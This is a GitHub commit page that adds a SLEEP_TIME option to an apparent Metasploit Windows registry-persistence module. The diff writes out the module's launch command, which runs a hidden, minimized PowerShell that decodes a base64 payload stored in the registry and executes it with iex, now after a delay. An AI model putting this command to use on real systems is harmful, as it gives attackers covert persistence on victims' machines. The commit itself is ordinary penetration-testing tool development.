Skip to content

Commit 1fe8bc9

Browse files
committed
Added a SLEEP_TIME option
Added a SLEEP_TIME options which is the number of seconds to sleep prior to executing the initial IEX request. This is useful in cases where a machine would have to establish a VPN connection, initiated by the user, after a reboot. Alternatively, as opposed to a sleep time, it could have a loop that attempts to retry for a certain period of item.
1 parent 089a006 commit 1fe8bc9

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/exploits/windows/local/registry_persistence.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,8 @@ def initialize(info = {})
5353
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
5454
OptBool.new('CREATE_RC',
5555
[false, 'Create a resource file for cleanup', true]),
56+
OptString.new('SLEEP_TIME',
57+
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
5658
], self.class)
5759
end
5860

@@ -66,7 +68,7 @@ def generate_payload_blob
6668
end
6769

6870
def generate_cmd(root_path, blob_key_name, blob_key_reg)
69-
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
71+
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
7072
return cmd
7173
end
7274

0 commit comments

Comments
 (0)